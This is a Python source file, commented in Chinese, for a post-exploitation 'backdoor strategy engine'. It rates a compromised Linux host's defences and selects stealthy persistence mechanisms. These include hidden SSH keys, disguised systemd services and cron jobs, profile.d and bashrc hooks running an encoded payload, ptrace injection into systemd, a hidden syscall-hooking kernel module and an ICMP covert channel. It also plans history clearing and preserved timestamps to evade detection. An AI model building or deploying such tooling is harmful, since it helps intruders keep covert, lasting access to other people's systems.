#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

后门策略引擎 - 基于环境画像自动选择后门组合
实现"纯Root权限可用"的后门策略自动匹配
"""

import os
import json
import random
import string
from datetime import datetime





class BackdoorStrategyEngine:
    """后门策略引擎 - 智能后门组合选择"""
    
    def __init__(self):
        self.strategy_database = self._init_strategy_database()
        self.selected_strategy = None
        self.deployment_config = {}
        
    def _init_strategy_database(self):
        """初始化策略数据库"""
        return {
            'low_defense': {
                'name': '低防御环境策略',
                'description': '无防御工具环境 - 多层冗余部署',
                'backdoors': [
                    {
                        'type': 'ssh_key',
                        'name': 'SSH密钥后门',
                        'priority': 1,
                        'stealth_level': 'medium',
                        'persistence': 'high',
                        'config': {
                            'key_path': '~/.ssh/.hidden_key',
                            'authorized_keys_backup': True,
                            'key_comment': 'system-backup-key'
                        }
                    },
                    {
                        'type': 'systemd_service',
                        'name': 'Systemd服务后门',
                        'priority': 2,
                        'stealth_level': 'high',
                        'persistence': 'high',
                        'config': {
                            'service_name': 'log-cleaner.service',
                            'service_description': 'System Log Cleanup Service',
                            'exec_path': '/usr/local/bin/log-cleaner',
                            'restart_policy': 'always'
                        }
                    },
                    {
                        'type': 'crontab',
                        'name': 'Crontab定时后门',
                        'priority': 3,
                        'stealth_level': 'medium',
                        'persistence': 'medium',
                        'config': {
                            'schedule': '0 */6 * * *',  # 每6小时执行
                            'command': '/usr/bin/system-check',
                            'comment': '# System maintenance task'
                        }
                    }
                ]
            },
            
            'medium_defense': {
                'name': '中防御环境策略',
                'description': '有基础防火墙环境 - 环境变量和文件触发',
                'backdoors': [
                    {
                        'type': 'env_variable',
                        'name': '环境变量后门',
                        'priority': 1,
                        'stealth_level': 'high',
                        'persistence': 'medium',
                        'config': {
                            'profile_path': '/etc/profile.d/.system-env.sh',
                            'variable_name': 'SYSTEM_PATH_CACHE',
                            'trigger_value': 'enable_maintenance_mode'
                        }
                    },
                    {
                        'type': 'file_trigger',
                        'name': '文件触发后门',
                        'priority': 2,
                        'stealth_level': 'high',
                        'persistence': 'low',
                        'config': {
                            'trigger_file': '/tmp/.sync',
                            'response_file': '/var/log/.sync.log',
                            'monitor_script': '/usr/local/bin/file-monitor'
                        }
                    },
                    {
                        'type': 'bashrc_alias',
                        'name': 'Bashrc别名后门',
                        'priority': 3,
                        'stealth_level': 'medium',
                        'persistence': 'medium',
                        'config': {
                            'bashrc_path': '~/.bashrc',
                            'alias_name': 'system-status',
                            'real_command': '/bin/bash -c "eval $(echo [encoded_payload])"'
                        }
                    }
                ]
            },
            
            'high_defense': {
                'name': '高防御环境策略',
                'description': '有EDR+FIM环境 - 进程注入和内存驻留',
                'backdoors': [
                    {
                        'type': 'process_injection',
                        'name': '进程注入后门',
                        'priority': 1,
                        'stealth_level': 'very_high',
                        'persistence': 'high',
                        'config': {
                            'target_process': 'systemd',
                            'injection_method': 'ptrace',
                            'payload_encoding': 'base64',
                            'memory_region': 'heap'
                        }
                    },
                    {
                        'type': 'kernel_module',
                        'name': '内核模块后门',
                        'priority': 2,
                        'stealth_level': 'very_high',
                        'persistence': 'very_high',
                        'config': {
                            'module_name': 'netfilter_helper',
                            'module_path': '/lib/modules/$(uname -r)/kernel/net/',
                            'hide_module': True,
                            'hook_syscalls': ['sys_open', 'sys_read']
                        }
                    },
                    {
                        'type': 'encrypted_channel',
                        'name': '加密通信信道',
                        'priority': 3,
                        'stealth_level': 'very_high',
                        'persistence': 'low',
                        'config': {
                            'protocol': 'icmp',
                            'encryption': 'aes256',
                            'key_exchange': 'dh',
                            'log_file': '/var/log/messages'
                        }
                    }
                ]
            }
        }
    
    def analyze_environment(self, environment_profile):
        """分析环境画像并选择策略"""
        try:
            defense_level = environment_profile.get('defense_level', {}).get('level', 'unknown')
            
            print("[*] 分析环境防御等级: {}".format(defense_level))
            
            # 根据防御等级选择策略
            if defense_level == 'low':
                strategy_key = 'low_defense'
            elif defense_level == 'medium':
                strategy_key = 'medium_defense'
            elif defense_level == 'high':
                strategy_key = 'high_defense'
            else:
                # 默认使用中等防御策略
                strategy_key = 'medium_defense'
                print("[!] 未知防御等级，使用默认中等防御策略")
            
            self.selected_strategy = self.strategy_database[strategy_key]
            
            # 根据环境特征调整策略
            self._adjust_strategy_by_environment(environment_profile)
            
            print("[+] 已选择策略: {}".format(self.selected_strategy['name']))
            print("[+] 策略描述: {}".format(self.selected_strategy['description']))
            
            return True
            
        except Exception as e:
            print("[-] 环境分析失败: {}".format(e))
            return False
    
    def _adjust_strategy_by_environment(self, environment_profile):
        """根据环境特征调整策略"""
        try:
            services = environment_profile.get('services', {})
            security = environment_profile.get('security', {})
            
            # 如果SSH不可用，移除SSH相关后门
            if not services.get('ssh_active', False):
                self.selected_strategy['backdoors'] = [
                    bd for bd in self.selected_strategy['backdoors'] 
                    if bd['type'] != 'ssh_key'
                ]
                print("[!] SSH服务未运行，已移除SSH密钥后门")
            
            # 如果Cron不可用，移除Cron后门
            if not services.get('cron_active', False):
                self.selected_strategy['backdoors'] = [
                    bd for bd in self.selected_strategy['backdoors'] 
                    if bd['type'] != 'crontab'
                ]
                print("[!] Cron服务未运行，已移除Crontab后门")
            
            # 如果Systemd不可用，移除Systemd后门
            if not services.get('systemd_available', False):
                self.selected_strategy['backdoors'] = [
                    bd for bd in self.selected_strategy['backdoors'] 
                    if bd['type'] != 'systemd_service'
                ]
                print("[!] Systemd不可用，已移除Systemd服务后门")
            
            # 如果检测到特定EDR，调整策略
            detected_tools = security.get('security_tools', [])
            if any(tool in ['crowdstrike', 'carbonblack'] for tool in detected_tools):
                # 对于高级EDR，优先使用内存驻留技术
                for backdoor in self.selected_strategy['backdoors']:
                    if backdoor['type'] in ['process_injection', 'kernel_module']:
                        backdoor['priority'] = 1
                print("[!] 检测到高级EDR，已调整为内存驻留优先策略")
            
        except Exception as e:
            print("[-] 策略调整失败: {}".format(e))
    
    def generate_deployment_config(self):
        """生成部署配置"""
        try:
            if not self.selected_strategy:
                print("[-] 未选择策略，无法生成部署配置")
                return False
            
            self.deployment_config = {
                'strategy_name': self.selected_strategy['name'],
                'deployment_time': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
                'backdoors': [],
                'stealth_settings': {
                    'clear_history': True,
                    'preserve_timestamps': True,
                    'resource_limit': {
                        'cpu_percent': 5,
                        'memory_mb': 50
                    }
                }
            }
            
            # 为每个后门生成具体配置
            for backdoor in self.selected_strategy['backdoors']:
                backdoor_config = self._generate_backdoor_config(backdoor)
                self.deployment_config['backdoors'].append(backdoor_config)
            
            print("[+] 部署配置生成完成，包含 {} 个后门".format(len(self.deployment_config['backdoors'])))
            return True
            
        except Exception as e:
            print("[-] 部署配置生成失败: {}".format(e))
            return False
    
    def _generate_backdoor_config(self, backdoor_template):
        """为单个后门生成具体配置"""
        try:
            config = backdoor_template.copy()
            
            # 生成随机标识符
            random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
            
            # 根据后门类型生成具体配置
            if backdoor_template['type'] == 'ssh_key':
                config['config']['key_name'] = "id_rsa_{}".format(random_suffix)
                config['config']['key_path'] = "~/.ssh/.{}_key".format(random_suffix)
                
            elif backdoor_template['type'] == 'systemd_service':
                config['config']['service_name'] = "system-{}.service".format(random_suffix)
                config['config']['exec_path'] = "/usr/local/bin/sys-{}".format(random_suffix)
                
            elif backdoor_template['type'] == 'crontab':
                # 随机化执行时间
                hour = random.randint(0, 23)
                minute = random.randint(0, 59)
                config['config']['schedule'] = "{} {} * * *".format(minute, hour)
                config['config']['command'] = "/usr/bin/sys-{}".format(random_suffix)
                
            elif backdoor_template['type'] == 'env_variable':
                config['config']['profile_path'] = "/etc/profile.d/.sys-{}.sh".format(random_suffix)
                config['config']['variable_name'] = "SYS_{}_PATH".format(random_suffix.upper())
                
            elif backdoor_template['type'] == 'file_trigger':
                config['config']['trigger_file'] = "/tmp/.{}".format(random_suffix)
                config['config']['response_file'] = "/var/log/.{}.log".format(random_suffix)
                config['config']['monitor_script'] = "/usr/local/bin/monitor-{}".format(random_suffix)
            
            # 添加通用配置
            config['deployment_id'] = random_suffix
            config['deployment_time'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            
            return config
            
        except Exception as e:
            print("[-] 后门配置生成失败: {}".format(e))
            return backdoor_template
    
    def print_strategy_summary(self):
        """打印策略摘要"""
        try:
            if not self.selected_strategy:
                print("[-] 未选择策略")
                return
            
            print("\n" + "="*60)
            print("[+] 后门部署策略摘要")
            print("="*60)
            print("[*] 策略名称: {}".format(self.selected_strategy['name']))
            print("[*] 策略描述: {}".format(self.selected_strategy['description']))
            print("[*] 后门数量: {}".format(len(self.selected_strategy['backdoors'])))
            
            print("\n[*] 后门列表:")
            for i, backdoor in enumerate(self.selected_strategy['backdoors'], 1):
                print("  {}. {}".format(i, backdoor['name']))
                print("     类型: {}".format(backdoor['type']))
                print("     优先级: {}".format(backdoor['priority']))
                print("     隐蔽性: {}".format(backdoor['stealth_level']))
                print("     持久性: {}".format(backdoor['persistence']))
                print()
            
            print("="*60)
            
        except Exception as e:
            print("[-] 策略摘要输出失败: {}".format(e))
    
    def get_deployment_config(self):
        """获取部署配置"""
        return self.deployment_config
    
    def get_selected_strategy(self):
        """获取选中的策略"""
        return self.selected_strategy
    
    def save_config(self, filepath=None):
        """保存部署配置到文件"""
        try:
            if not self.deployment_config:
                print("[-] 无部署配置可保存")
                return None
            
            if not filepath:
                timestamp = int(datetime.now().timestamp())
                filepath = "/tmp/.deploy_config_{}.json".format(timestamp)
            
            with open(filepath, 'w') as f:
                json.dump(self.deployment_config, f, indent=2, ensure_ascii=False)
            
            print("[+] 部署配置已保存到: {}".format(filepath))
            return filepath
            
        except Exception as e:
            print("[-] 配置保存失败: {}".format(e))
            return None
    
    def load_config(self, filepath):
        """从文件加载部署配置"""
        try:
            with open(filepath, 'r') as f:
                self.deployment_config = json.load(f)
            
            print("[+] 部署配置已从 {} 加载".format(filepath))
            return True
            
        except Exception as e:
            print("[-] 配置加载失败: {}".format(e))
            return False
    
    def get_backdoor_by_type(self, backdoor_type):
        """根据类型获取后门配置"""
        if not self.deployment_config:
            return None
        
        for backdoor in self.deployment_config.get('backdoors', []):
            if backdoor.get('type') == backdoor_type:
                return backdoor
        
        return None
    
    def estimate_deployment_time(self):
        """估算部署时间"""
        if not self.selected_strategy:
            return 0
        
        # 基础时间估算（秒）
        time_estimates = {
            'ssh_key': 5,
            'systemd_service': 10,
            'crontab': 3,
            'env_variable': 5,
            'file_trigger': 8,
            'bashrc_alias': 3,
            'process_injection': 15,
            'kernel_module': 20,
            'encrypted_channel': 12
        }
        
        total_time = 0
        for backdoor in self.selected_strategy['backdoors']:
            total_time += time_estimates.get(backdoor['type'], 10)
        
        # 添加基础开销
        total_time += 10
        
        return total_time


def main():
    """主函数 - 测试用"""
    print("后门策略引擎 - 测试")
    
    # 模拟环境画像
    test_profile = {
        'defense_level': {
            'level': 'medium',
            'score': 25,
            'description': '中防御环境'
        },
        'services': {
            'ssh_active': True,
            'cron_active': True,
            'systemd_available': True
        },
        'security': {
            'edr_detected': False,
            'firewall_active': True,
            'security_tools': ['firewalld']
        }
    }
    
    engine = BackdoorStrategyEngine()
    
    if engine.analyze_environment(test_profile):
        engine.print_strategy_summary()
        
        if engine.generate_deployment_config():
            config_file = engine.save_config()
            estimated_time = engine.estimate_deployment_time()
            print("\n[+] 预计部署时间: {} 秒".format(estimated_time))


if __name__ == "__main__":
    main()